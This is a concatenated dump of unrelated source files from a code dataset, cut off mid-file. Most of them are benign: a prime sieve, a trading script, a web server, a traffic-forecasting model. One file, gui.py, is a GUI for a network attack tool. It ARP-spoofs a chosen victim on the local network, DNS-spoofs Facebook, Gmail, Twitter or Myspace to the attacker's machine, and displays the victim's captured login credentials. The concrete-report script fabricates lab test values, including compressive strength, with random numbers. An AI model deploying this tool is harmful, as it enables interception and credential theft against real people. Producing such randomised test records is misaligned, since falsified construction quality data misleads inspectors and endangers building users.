resultSheet['O3'] = \"设计单位:\" + parm[0].ConDesignUtil\n resultSheet['P4'] = \"试验规格:\" + parm.Project7ConDesignSpeciEdit\n \"\"\"\n 插入工地混凝土使用记录\n \"\"\"\n resultSheet['A3'] = \"建设单位:\" + mixDesign.BuildUnit\n resultSheet['A4'] = \"工程名称:\" + mixDesign.ProjectName\n resultSheet['A5'] = \"发报告日期:\" + mixDesign.CuringDate\n resultSheet['B9'] = mixDesign.ConcreteName\n resultSheet['H9'] = mixDesign.ConcreteStrength\n resultSheet['L9'] = mixDesign.ImperLevel\n \"\"\"\n 插入配合比选用汇总表\n \"\"\"\n if (UseMix.MixRatioName == None):\n resultSheet['P5'] = \"编号:\"\n else:\n resultSheet['P5'] = \"编号:\" + UseMix.MixRatioName\n resultSheet['O9'] = UseMix.SlumpNum\n resultSheet['Q9'] = '{0:.1f}'.format(get_float(float(UseMix.StandardDeviation), 1))\n resultSheet['R9'] = '{0:.1f}'.format(get_float(float(UseMix.ConcreteStrengh), 1))\n resultSheet['P17'] = '{0:.1f}'.format(get_float(float(UseMix.AdmixtureAmount), 1))\n # resultSheet['B20'] = UseMix.CementRatio\n resultSheet['L20'] = UseMix.CementNum\n resultSheet['M20'] = UseMix.FlyashNum\n resultSheet['O20'] = UseMix.SandNum\n resultSheet['P20'] = UseMix.GravelNum\n resultSheet['Q20'] = UseMix.WaterNum\n resultSheet['R20'] = '{0:.1f}'.format(get_float(float(UseMix.AdmixtureNum), 1))\n resultSheet['S20'] = Util.ExcelUtil.IsSwellingLevelNone(UseMix.SwellingNum)\n # resultSheet['H20'] = UseMix.SwellingNum\n resultSheet['B22'] = '{0:.1f}'.format(get_float((float(UseMix.SandRatio) * 100), 1)) + \"%\"\n resultSheet['C22'] = UseMix.SlumpNum\n resultSheet['C27'] = UseMix.SlumpNum\n # resultSheet['H22'] = UseMix.MassDensity\n # resultSheet['H27'] = UseMix.MassDensity\n \"\"\"\n 插入水泥购进,使用情况一览表\n \"\"\"\n resultSheet['M11'] = cenAtr.CementId\n resultSheet['O11'] = cenAtr.R3_Bending\n resultSheet['P11'] = cenAtr.R28_Bending\n resultSheet['Q11'] = cenAtr.R3_Compression\n resultSheet['R11'] = cenAtr.R28_Compression\n \"\"\"\n 参数表调节数据插入\n \"\"\"\n compStrength = float(mixDesign.ConcreteStrength.strip('C'))\n resultSheet['L13'] = '{0:.1f}'.format(\n uniform(float(parm.MinS_FinenessDensity), float(parm.MaxS_FinenessDensity)))\n resultSheet['M13'] = '{0:.0f}'.format(\n uniform(float(parm.MinS_SurfaceDensity), float(parm.MaxS_SurfaceDensity)))\n resultSheet['O13'] = '{0:.0f}'.format(\n uniform(float(parm.MinS_Density), float(parm.MaxS_Density)))\n resultSheet['Q13'] = uniform(float(parm.MinS_SlitContent), float(parm.MaxS_SlitContent))\n resultSheet['P13'] = '{0:.1f}'.format(\n uniform(float(parm.MinS_WaterContent), float(parm.MaxS_WaterContent)))\n resultSheet['R13'] = uniform(float(parm.MinS_WaterContent), float(parm.MaxS_WaterContent))\n resultSheet['M15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_GrainContent), float(parm.MaxG_GrainContent)))\n resultSheet['O15'] = uniform(float(parm.MinG_CrushLevel), float(parm.MaxG_CrushLevel))\n resultSheet['P15'] = '{0:.0f}'.format(\n uniform(float(parm.MinG_Density), float(parm.MaxG_Density)))\n resultSheet['Q15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_SlitContent), float(parm.MaxG_SlitContent)))\n # to do\n resultSheet['R15'] = '{0:.1f}'.format(\n uniform(float(parm.MinG_WaterContent), float(parm.MaxG_WaterContent)))\n resultSheet['Q17'] = '{0:.1f}'.format(\n uniform(float(parm.MinA_Density), float(parm.MaxA_Density)))\n resultSheet['M22'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR7_Compression), float(parm.MaxR7_Compression)))\n resultSheet['O22'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR28_Compression), float(parm.MaxR28_Compression)))\n resultSheet['M27'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR7_Compression), float(parm.MaxR7_Compression)))\n resultSheet['O27'] = '{0:.1f}'.format(\n compStrength * uniform(float(parm.MinR28_Compression), float(parm.MaxR28_Compression)))\n \"\"\"\n 质量比公式数据插入\n \"\"\"\n # 干料\n # resultSheet['C20'] = 1\n # resultSheet['E20'] = float(resultSheet['M20'].value) / float(resultSheet['L20'].value)\n # resultSheet['G20'] = float(resultSheet['O20'].value) / float(resultSheet['L20'].value)\n # resultSheet['I20'] = float(resultSheet['P20'].value) / float(resultSheet['L20'].value)\n # resultSheet['K20'] = float(resultSheet['Q20'].value) / float(resultSheet['L20'].value)\n admixtureNum = float(resultSheet['M20'].value) / float(resultSheet['L20'].value)\n # imperviousNum = float(resultSheet['N20'].value) / float(resultSheet['L20'].value)\n sandNum = float(resultSheet['O20'].value) / float(resultSheet['L20'].value)\n stoneNum = float(resultSheet['P20'].value) / float(resultSheet['L20'].value)\n waterNum = float(resultSheet['Q20'].value) / float(resultSheet['L20'].value)\n QualifiedString = \" 1 :{admixtureNum} :{sandNum} :{stoneNum} :{waterNum} \"\n resultSheet[\"C20\"] = QualifiedString.format(\n admixtureNum='{0:.2f}'.format(get_float(float(admixtureNum), 2)),\n sandNum='{0:.2f}'.format(get_float(float(sandNum), 2)),\n stoneNum='{0:.2f}'.format(get_float(float(stoneNum), 2)),\n waterNum='{0:.2f}'.format(get_float(float(waterNum), 2)),\n )\n # 施工\n resultSheet['L25'] = resultSheet['L20'].value\n resultSheet['M25'] = resultSheet['M20'].value\n resultSheet['O25'] = '{0:.0f}'.format(\n float(resultSheet['O20'].value) + float(resultSheet['O20'].value) * resultSheet['R13'].value)\n resultSheet['P25'] = '{0:.0f}'.format(\n float(resultSheet['P20'].value) + float(resultSheet['P20'].value) * (\n float(resultSheet['R15'].value) / 100))\n # resultSheet['Q25'] = '{0:.0f}'.format(\n # float(resultSheet['Q20'].value) - float(resultSheet['O20'].value) * resultSheet[\n # 'R13'].value - float(resultSheet['P20'].value) * (float(resultSheet['R15'].value) / 100))\n resultSheet['Q25'] = '{0:.0f}'.format(\n float(resultSheet['Q20'].value) -\n (\n float(resultSheet['O25'].value) + float(resultSheet[\"P25\"].value) - float(\n resultSheet['O20'].value) - float(resultSheet['P20'].value)\n )\n )\n\n resultSheet['R25'] = resultSheet['R20'].value\n resultSheet['S25'] = resultSheet['S20'].value\n # resultSheet['C25'] = 1\n # resultSheet['E25'] = float(resultSheet['M25'].value) / float(resultSheet['L25'].value)\n # resultSheet['G25'] = '{0:.2f}'.format(float(resultSheet['O25'].value) / float(resultSheet['L25'].value))\n # resultSheet['I25'] = '{0:.2f}'.format(float(resultSheet['P25'].value) / float(resultSheet['L25'].value))\n # resultSheet['K25'] = '{0:.2f}'.format(float(resultSheet['Q25'].value) / float(resultSheet['L25'].value))\n admixtureNum = float(resultSheet['M25'].value) / float(resultSheet['L25'].value)\n # imperviousNum = float(resultSheet['N25'].value) / float(resultSheet['L25'].value)\n sandNum = float(resultSheet['O25'].value) / float(resultSheet['L25'].value)\n stoneNum = float(resultSheet['P25'].value) / float(resultSheet['L25'].value)\n waterNum = float(resultSheet['Q25'].value) / float(resultSheet['L25'].value)\n QualifiedString = \" 1 :{admixtureNum} :{sandNum} :{stoneNum} :{waterNum} \"\n resultSheet[\"C25\"] = QualifiedString.format(\n admixtureNum='{0:.2f}'.format(get_float(float(admixtureNum), 2)),\n # imperviousNum='{0:.2f}'.format(imperviousNum),\n sandNum='{0:.2f}'.format(get_float(float(sandNum), 2)),\n stoneNum='{0:.2f}'.format(get_float(float(stoneNum), 2)),\n waterNum='{0:.2f}'.format(get_float(float(waterNum), 2)),\n )\n resultSheet['B20'] = '{0:.2f}'.format(float(resultSheet['Q20'].value) / (\n float(resultSheet['L20'].value) + float(resultSheet['M20'].value)))\n resultSheet['B25'] = '{0:.2f}'.format(float(resultSheet['Q25'].value) / (\n float(resultSheet['L25'].value) + float(resultSheet['M25'].value)))\n resultSheet['B27'] = '{0:.1f}'.format((float(resultSheet['O25'].value) / (\n float(resultSheet['O25'].value) + float(resultSheet['P25'].value)) * 100)) + '%'\n resultSheet['R13'] = '{0:.1f}'.format(resultSheet['R13'].value * 100)\n resultSheet['H22'] = '{0:.0f}'.format(get_float((float(resultSheet[\"L20\"].value) + float(resultSheet[\"M20\"].value) + float(resultSheet[\"O20\"].value) + float(resultSheet[\n \"P20\"].value) + float(resultSheet[\"Q20\"].value) + float(resultSheet[\"R20\"].value)), 0))\n resultSheet['H27'] = '{0:.0f}'.format(get_float((\n float(resultSheet[\"L25\"].value) + float(resultSheet[\"M25\"].value) + float(resultSheet[\"O25\"].value) + float(resultSheet[\n \"P25\"].value) + float(resultSheet[\"Q25\"].value) + float(resultSheet[\"R25\"].value)), 0))\n from Util.InsetPicUtil import insertpic\n resultSheet = insertpic(resultSheet, picname=parm.Project7Manager, position='B29', width=90, heigh=30)\n resultSheet = insertpic(resultSheet, picname=parm.Project7Checker, position='M29')\n resultSheet = insertpic(resultSheet, picname=parm.Project7try, position='Q29', width=80, heigh=35)\n\n # 删除第七份表重复的\n useSheets = CementDesignBook.sheetnames\n num = [] # 记录要删除的号码\n for i in range(len(useSheets)):\n useSheet1 = CementDesignBook.worksheets[i]\n name1 = useSheet1['B9'].value\n strength1 = useSheet1['H9'].value\n permeability1 = useSheet1['L9'].value\n swell1 = useSheet1['M9'].value\n projectName1 = useSheet1['A4'].value\n for j in range(i):\n useSheet2 = CementDesignBook.worksheets[j]\n name2 = useSheet2['B9'].value\n strength2 = useSheet2['H9'].value\n permeability2 = useSheet2['L9'].value\n swell2 = useSheet2['M9'].value\n projectName2 = useSheet2['A4'].value\n if(projectName1 == projectName2):\n if (name1 == name2 and strength1 == strength2 and permeability1==permeability2 and swell1==swell2):\n num.append(i)\n break\n\n for i in num:\n CementDesignBook.remove(CementDesignBook.worksheets[i])\n for j in range(len(num)):\n num[j] = num[j]-1\n return modeBook, CementDesignBook\n\nif __name__ == '__main__':\n filename = \"..\\..\\工地混凝土使用记录8.xlsx\"\n useBook = load_workbook(filename)\n session = session\n result, MixDesignBook = ConUseBuyRecord(useBook)\n result.save('水泥购进,使用一览表1.xlsx')\n MixDesignBook.save(\"配合比设计报告表7.xlsx\")\n pass","sub_path":"Excel/CreateExcel/CreateConUseBuyRecord17.py","file_name":"CreateConUseBuyRecord17.py","file_ext":"py","file_size_in_byte":40924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"595321077","text":"#!/usr/bin/python\n\n################################\n# Find Prime numbers using\n# Sieve's algorithm.\n# Gabriela Zambrano\n# 3/25/17\n################################\nfrom math import sqrt\nimport sys\n\n\ndef main(args):\n number = int(args[0])\n print(is_prime(number))\n\n\ndef is_prime(number):\n is_prime_list = [True if x != 1 else False for x in range(1, number + 1)]\n\n for idx in range(3, len(is_prime_list)):\n if (idx + 1) % 2 == 0:\n is_prime_list[idx] = False\n\n square_root = int(sqrt(number))\n for p in range(3, square_root+1, 2):\n if is_prime_list[p-1]:\n for i in range(p*p, number + 1, 2*p):\n is_prime_list[i-1] = False\n\n prime_list = [idx + 1 for idx in range(len(is_prime_list))\n if is_prime_list[idx]]\n\n return prime_list\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"prime_numbers_sieve.py","file_name":"prime_numbers_sieve.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"103946401","text":"from Tkinter import *\nfrom ttk import *\nfrom core import *\nfrom multiprocessing import Process, Pipe\n\n\nServices = {\n \"Facebook\": \"facebook.com\",\n \"Gmail\": \"gmail.com\",\n \"Twitter\": \"twitter.com\",\n \"Myspace\": \"myspace.com\"}\n\n\nclass StatusBar(Frame):\n\n def __init__(self, parent, shadow=True):\n\n Frame.__init__(self, parent)\n if shadow is True:\n self.status = Label(self, relief=SUNKEN)\n else:\n self.status = Label(self)\n self.status.pack(fill=\"both\")\n\n def set_status(self, format, *args):\n\n self.status.config(text=format % args)\n self.status.update()\n\n def clear_status(self):\n\n self.status.config(text=\"\")\n self.status.update()\n\n\nclass MITMerFrame(Frame):\n\n def __init__(self, parent):\n\n Frame.__init__(self, parent)\n self.parent_conn, self.child_conn = Pipe()\n self.modes = [\"Disabled\"] + list(Services.keys()) + [\"Custom\"]\n\n # SPOOFING ##\n self.settings_frame = LabelFrame(self, text=\" Settings \")\n self.settings_frame.grid(rowspan=2, sticky=\"N\", padx=5, pady=5, ipadx=5, ipady=5)\n\n # Interface selection\n self.inter_label = Label(self.settings_frame, text=\"Network interface:\\t\\t\")\n self.inter_label.grid(row=0, column=0, sticky=\"WE\", padx=5, pady=5)\n self.inter_list = Combobox(self.settings_frame, values=[\"\"] + get_if_list(),\n state=\"readonly\", width=18)\n self.inter_list.bind('<>', self.scan)\n self.inter_list.current(0)\n self.inter_list.grid(row=0, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Spoofing mode\n self.spoof_mode = Label(self.settings_frame, text=\"Spoofing mode:\\t\")\n self.spoof_mode.grid(row=1, column=0, sticky=\"WE\", padx=5, pady=5)\n self.modes_list = Combobox(self.settings_frame, values=[\"MITM\", \"DoS\"], state=\"readonly\")\n self.modes_list.current(0)\n self.modes_list.grid(row=1, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Victim IP entry\n self.vic_ip_label = Label(self.settings_frame, text=\"Victim IP:\\t\\t\")\n self.vic_ip_label.grid(row=2, column=0, sticky=\"WE\", padx=5, pady=5)\n self.vic_ip_var = StringVar()\n self.vic_ip_list = Combobox(self.settings_frame, textvariable=self.vic_ip_var)\n self.vic_ip_list.grid(row=2, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # DNS Spoofing\n self.profile_label = Label(self.settings_frame, text=\"Attack profile:\\t\")\n self.profile_label.grid(row=3, column=0, sticky=\"WE\", padx=5, pady=5)\n self.profile_list = Combobox(self.settings_frame, values=self.modes, state=\"readonly\")\n self.profile_list.bind('<>', self.profile)\n self.profile_list.current(0)\n self.profile_list.grid(row=3, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Custom\n self.domain_label = Label(self.settings_frame, text=\"Query request:\\t\")\n self.domain_label.grid(row=4, column=0, sticky=\"WE\", padx=5, pady=5)\n self.domain_entry = Entry(self.settings_frame, state=\"disabled\")\n self.domain_entry.grid(row=4, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # All domains checkbox\n self.all_ds_var = IntVar()\n self.all_domains = Checkbutton(self.settings_frame, text=\"All domains\", state=\"disabled\",\n variable=self.all_ds_var, command=self.alldomains)\n self.all_domains.grid(row=5, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Redirection\n self.redirect_label = Label(self.settings_frame, text=\"Query reply:\\t\")\n self.redirect_label.grid(row=6, column=0, sticky=\"WE\", padx=5, pady=5)\n self.redirect_entry = Entry(self.settings_frame, state=\"disabled\")\n self.redirect_entry.grid(row=6, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Redirect to attacker\n self.redirect_here_var = IntVar()\n self.redirect_here = Checkbutton(self.settings_frame, text=\"This machine\",\n state=\"disabled\", variable=self.redirect_here_var,\n command=self.redirect2here)\n self.redirect_here.grid(row=7, column=1, sticky=\"WE\", padx=5, pady=5)\n\n # Spoof & Inspect button\n self.start_button = Button(self.settings_frame, text=\"Start\", command=self.start)\n self.start_button.grid(row=8, column=1, sticky=\"E\", padx=5, pady=5)\n\n # URLSPY ##\n self.urlspy_frame = LabelFrame(self, text=\" Activity \")\n self.urlspy_frame.grid(row=0, column=1, sticky=\"N\", padx=5, pady=5, ipadx=5, ipady=5)\n\n # URLs\n self.urls_list = Listbox(self.urlspy_frame, height=8, width=30)\n self.urls_list.bind(\"<>\", lambda event, arg=\"url\": self.copy(event, arg))\n self.urls_list.grid(row=0, column=0, sticky=\"WE\", padx=5, pady=7)\n\n # CREDSSPY ##\n self.credspy_frame = LabelFrame(self, text=\" Credentials \")\n self.credspy_frame.grid(row=1, column=1, sticky=\"N\", padx=5, pady=5, ipadx=5, ipady=5)\n self.site_label = Label(self.credspy_frame, text=\"Service:\", width=30)\n self.site_label.grid(row=0, column=0, sticky=\"WE\", padx=5, pady=5)\n self.user_label = Label(self.credspy_frame, text=\"Username:\", width=30)\n self.user_label.grid(row=1, column=0, sticky=\"WE\", padx=5, pady=5)\n self.pass_label = Label(self.credspy_frame, text=\"Password:\", width=30)\n self.pass_label.grid(row=2, column=0, sticky=\"WE\", padx=5, pady=5)\n\n # Status bar\n self.status = StatusBar(parent)\n self.status.pack(fill=\"both\", side=\"bottom\")\n self.status.set_status(\"Ready.\")\n self.pack()\n\n def alldomains(self):\n\n if self.all_ds_var.get():\n self.domain_entry.config(state=\"disabled\")\n else:\n self.domain_entry.config(state=\"enabled\")\n\n def redirect2here(self):\n\n if self.redirect_here_var.get():\n self.redirect_entry.config(state=\"disabled\")\n else:\n self.redirect_entry.config(state=\"enabled\")\n\n def profile(self, event):\n\n if self.profile_list.get() == \"Custom\":\n self.redirect_entry.config(state=\"enabled\")\n self.domain_entry.config(state=\"enabled\")\n self.redirect_here.config(state=\"enabled\")\n self.all_domains.config(state=\"enabled\")\n self.redirect2here()\n self.alldomains()\n else:\n self.redirect_entry.config(state=\"disabled\")\n self.domain_entry.config(state=\"disabled\")\n self.redirect_here.config(state=\"disabled\")\n self.all_domains.config(state=\"disabled\")\n\n def scan(self, event):\n\n self.inter_list.configure(state=\"disabled\")\n self.vic_ip_list.configure(state=\"disabled\")\n self.status.set_status(\"Scanning network...\")\n\n nodes = nscan(get_if_list()[self.inter_list.current() - 1])\n self.vic_ip_list.configure(values=nodes)\n\n self.inter_list.configure(state=\"enabled\")\n self.vic_ip_list.configure(state=\"enabled\")\n self.status.set_status(\"Ready.\")\n\n def copy(self, event, arg):\n\n self.clipboard_clear()\n if arg == \"url\":\n self.clipboard_append(self.urls_list.get(self.urls_list.curselection()))\n\n def start(self):\n\n def stop():\n\n self.start_button.config(state=\"disabled\")\n self.status.set_status(\"Stopping...\")\n\n reset_proc = Process(target=spoofer.restore)\n flush_proc = Process(target=spoofer.flush)\n\n try:\n dnsspoof_proc.terminate()\n server_proc.terminate()\n except:\n pass\n\n arpspoof_proc.terminate()\n inspect_proc.terminate()\n flush_proc.start()\n flush_proc.join()\n reset_proc.start()\n reset_proc.join()\n spoofer.forward(enable=False)\n\n self.start_button.config(text=\"Start\", command=self.start)\n self.start_button.config(state=\"enabled\")\n self.status.set_status(\"Attack stopped. Ready.\")\n\n def update():\n\n if self.parent_conn.poll():\n recieved = self.parent_conn.recv()\n\n if recieved[0] == \"url\":\n self.urls_list.insert(END, recieved[1])\n self.urls_list.yview(END)\n\n elif recieved[0] == \"cred\":\n self.site_label.config(text=\"Service:\\t %s\" % recieved[1])\n self.user_label.config(text=\"Username: %s\" % recieved[2])\n self.pass_label.config(text=\"Password:\\t %s\" % recieved[3])\n dnsspoof_proc.terminate()\n server_proc.terminate()\n\n self.after(200, update)\n\n self.status.set_status(\"Initializing attack...\")\n\n self.start_button.config(state=\"disabled\")\n interface = get_if_list()[self.inter_list.current() - 1]\n\n spoofer = Spoofer(interface, self.vic_ip_var.get(), get_gateway(interface))\n server = WebServer(self.profile_list.get().lower(), 80, self.child_conn)\n\n if self.modes_list.current() == 0:\n spoofer.forward(enable=True)\n elif self.modes_list.current() == 1:\n spoofer.forward(enable=False)\n\n arpspoof_proc = Process(target=spoofer.arpspoof)\n arpspoof_proc.start()\n\n if self.profile_list.get() == \"Custom\":\n if self.domain_entry.get() or self.all_ds_var.get():\n if self.redirect_here_var.get():\n dnsspoof_proc = Process(target=spoofer.dnsspoof,\n args=(self.domain_entry.get(),\n get_ip(interface), self.all_ds_var.get()))\n else:\n dnsspoof_proc = Process(target=spoofer.dnsspoof,\n args=(self.domain_entry.get(),\n self.redirect_entry.get(), False))\n dnsspoof_proc.start()\n\n elif self.profile_list.get() != \"Disabled\":\n dnsspoof_proc = Process(target=spoofer.dnsspoof,\n args=(Services[self.profile_list.get()],\n get_ip(interface), self.all_ds_var.get(), True))\n dnsspoof_proc.start()\n server_proc = Process(target=server.start)\n server_proc.start()\n\n self.start_button.config(text=\"Stop\", command=stop)\n self.start_button.config(state=\"enabled\")\n\n inspector = URLInspector(interface, self.vic_ip_var.get(), self.child_conn)\n inspect_proc = Process(target=inspector.inspect)\n inspect_proc.start()\n\n self.status.set_status(\"Victim under attack!\")\n update()\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":10888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81024582","text":"from ib_insync import *\nfrom os import listdir, remove\nfrom time import sleep\nimport pickle\nimport schedule\nfrom strategy import *\nfrom helper_functions import *\nfrom market_status import *\nimport live_trading as lt\n\n# Define your variables here ###########################################################################################\nsampling_rate = 1 # How often, in seconds, to check for inputs from Dash?\n# For TWS Paper account, default port is 7497\n# For IBG Paper account, default port is 4002\nport = 7497\n# choose your master id. Mine is 10645. You can use whatever you want, just set it in API Settings within TWS or IBG.\nmaster_client_id = 12346\n# choose your dedicated id just for orders. I picked 1111.\norders_client_id = 1111\n# choose dedicated id just for going live\nlive_client_id = 2222\n# account number: you'll need to fill in yourself. The below is one of my paper trader account numbers.\nacc_number = 'DU3576436'\n# n-size of window in days that trendline is based on\nn_days = 252\n# start date of strategy\nstrategy_start = pd.Timestamp(\"2019-01-02\")\n# threshold for each increment (%)\nthreshold = .05\n# Number of shares to buy for each threshold increment\nalpha = 5\n# Beta - sell point based on current price (number greater than equal to 1)\nbeta = 1.05\n########################################################################################################################\n\n# Run your helper function to clear out any io files left over from old runs\ncheck_for_and_del_strategy_files()\n\n\n# Create an IB app; i.e., an instance of the IB() class from the ib_insync package\nib = IB()\n# Connect your app to a running instance of IBG or TWS\nib.connect(host='127.0.0.1', port=port, clientId=master_client_id)\n\n# Make sure you're connected -- stay in this while loop until ib.isConnected() is True.\nwhile not ib.isConnected():\n sleep(.01)\n\n# If connected, script proceeds and prints a success message.\nprint('Connection Successful!')\n\n# Main while loop of the app. Stay in this loop until the app is stopped by the user.\nwhile True:\n\n #schedule.every().day.at(\"22:50\").do(lt.run_strategy())\n\n # Check whether to buy or sell shares of IVV\n decision = decide_to_buy_or_sell()\n # Use decision to place buy or sell order\n if (decision == 1):\n print('buy')\n #place_order(port, orders_client_id)\n else:\n print('sell')\n\n\n sleep(2)\n","sub_path":"ibkr_app.py","file_name":"ibkr_app.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270013372","text":"from models import Users\nfrom models import Reviews\nfrom app import db\n\nuser1 = Users('simba@lionking.com', 'mufasa')\nuser2 = Users('hello@goodbye.com', 'lateralligator')\nreview1 = Reviews('apple review', 'pretty nice', 1)\nreview2 = Reviews('banana', 'not yellow enough', 1)\nreview3 = Reviews('popcorn', 'good amount of salt', 2)\nreview4 = Reviews('review for chips', 'nice and crunchy', 1)\nreview5 = Reviews('tortilla chips', 'wish i had some salsa', 2)\n\ndb.session.add(user1)\ndb.session.add(user2)\ndb.session.add(review1)\ndb.session.add(review2)\ndb.session.add(review3)\ndb.session.add(review4)\ndb.session.add(review5)\ndb.session.commit()\n","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"240281035","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ui_module import base_m\n\n\nclass my_base(base_m.base_m):\n\n '''\n create by bigzhu at 15/08/06 15:32:30 为了自定义自已的js\n '''\n\n def javascript_files(self):\n self.all_js_files = super(my_base, self).javascript_files()\n self.version = 6\n\n simditor_path = self.LIB_PATH + 'simditor-2.1.14/'\n simditor_script = simditor_path + 'scripts/'\n simditor_js_files = [\n simditor_script + 'module.js',\n simditor_script + 'hotkeys.js',\n simditor_script + 'uploader.js',\n simditor_script + 'simditor.js',\n ]\n self.all_js_files += simditor_js_files\n\n self.all_js_files.append('/static/component.js?v=%s' % self.version)\n self.all_js_files.append('/static/director.js')\n self.all_js_files.append('/static/GreenSock-JS/src/minified/TimelineLite.min.js')\n return self.all_js_files\n\n def css_files(self):\n simditor_path = self.LIB_PATH + 'simditor-2.1.14/'\n simditor_styles = simditor_path + 'styles/'\n my_css_files = [\n simditor_styles + 'simditor.css',\n ]\n self.all_css_files += my_css_files\n return self.all_css_files\nif __name__ == '__main__':\n pass\n","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"147172199","text":"from gunicorn.app.base import BaseApplication\nfrom falcon import API\n\nfrom musicdl_rep.resources.files_resource import FilesResource\nfrom musicdl_rep.resources.file_resource import FileResource\nfrom musicdl_rep.resources.file_mirrors_resource import FileMirrorsResource\nfrom musicdl_rep.resources.file_mirror_resource import FileMirrorResource\nfrom musicdl_rep.resources.file_mirror_reports_resource import FileMirrorReportsResource\n\n\nclass Server(BaseApplication):\n\n resources = {\n '/files': FilesResource(),\n '/file/{file_id}': FileResource(),\n '/file/{file_id}/mirrors': FileMirrorsResource(),\n '/file/{file_id}/mirror/{mirror_id}': FileMirrorResource(),\n '/file/{file_id}/mirror/{mirror_id}/reports': FileMirrorReportsResource()\n }\n\n def __init__(self, options=None):\n self.falcon = API()\n self.options = options or {}\n self.register_resources()\n super(Server, self).__init__()\n\n def load_config(self):\n config = {\n 'bind': '{}:{}'.format(\n self.options.get('bind') or '127.0.0.1',\n self.options.get('port') or 8000)\n }\n for key, value in config.items():\n self.cfg.set(key, value)\n\n def load(self):\n return self.falcon\n\n def register_resources(self):\n for route, resource in self.resources.items():\n self.falcon.add_route(route, resource)\n","sub_path":"musicdl_rep/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"644297976","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nfrom tqdm import tqdm\nimport pandas as pd\n\nx_train = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/x_train.npy\")\ny_train = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/y_train.npy\")\nx_val = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/x_val.npy\")\ny_val = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/y_val.npy\")\nx_test = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/x_test.npy\")\ny_test = np.load(\"/home/blu/workspace/graduate_project/STGCN/METR-LA/dataset/y_test.npy\")\nA = np.load(\"/home/blu/workspace/GCN/STGCN-PyTorch/data/adj_mat.npy\")\n\nclass GCN(tf.keras.layers.Layer):\n def __init__(self, units=207, input_dim=207, matrix = None):\n super(GCN, self).__init__()\n w_init = tf.random_normal_initializer()\n self.w1 = tf.Variable(initial_value=w_init(shape=(input_dim, units),\n dtype='float32'), trainable=True)\n self.w2 = tf.Variable(initial_value=w_init(shape=(input_dim, units),\n dtype='float32'), trainable=True)\n b_init = tf.zeros_initializer()\n self.b = tf.Variable(initial_value=b_init(shape=(1,),\n dtype='float32'), trainable=True)\n self.matrix = tf.convert_to_tensor(matrix)\n self.dense = tf.keras.layers.Dense(units=207, activation=tf.nn.relu, kernel_regularizer=tf.keras.regularizers.l2(1e-3))\n\n def call(self, inputs):\n weight_1 = tf.multiply(self.matrix,self.w1)\n weight_2 = tf.multiply(self.matrix,self.w2)\n inputs = tf.reshape(inputs, [-1, 207])\n y1 = tf.nn.relu(tf.matmul(inputs, weight_1))\n y2 = tf.nn.relu(tf.matmul(y1, weight_2) + self.b)\n output = tf.reshape(y2, [-1, 12, 207])\n return output\n\nencoder_emb_inp = tf.keras.Input(shape=(12, 207), name='Input')\n\ngcn_layer = GCN(207, 207, A)\ngcn_output = gcn_layer(encoder_emb_inp)\n\nx = tf.concat([gcn_output, encoder_emb_inp], axis = 1)\ngru1 = tf.keras.layers.GRU(256, return_sequences=True, return_state=False, activation='tanh')(x)\ngru2 = tf.keras.layers.GRU(256, return_sequences=False, return_state=False, activation='relu')(gru1)\ngru2_out = tf.keras.layers.Dense(units=207, activation=tf.nn.relu)(gru2)\n\nmodel = tf.keras.Model(inputs = encoder_emb_inp, outputs = gru2_out, name = \"system_model\")\n\nmodel.summary()\n\nmodel.compile(optimizer=tf.keras.optimizers.Adam(), loss=tf.keras.losses.MeanSquaredError(), \n metrics=[tf.keras.metrics.MeanSquaredError(), \n tf.keras.metrics.MeanAbsolutePercentageError(), \n tf.keras.metrics.MeanAbsoluteError(), \n tf.keras.metrics.RootMeanSquaredError()])\nprint(\"INFO: Start training...\")\n\nhistory = model.fit(x_train, \n y_train,\n batch_size=1024,\n epochs=800,\n validation_data=(x_val,y_val))\n\nprint(\"INFO: Start testing...\")\ndataset = tf.data.Dataset.from_tensor_slices((x_test, y_test))\ndataset = dataset.batch(512)\nmodel.evaluate(dataset)\n","sub_path":"METR-LA/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"496972514","text":"# -*- coding: utf-8 -*-\n\nfrom utils.yamlutil import yamlUtil\nimport os\nfrom utils.pathutil import 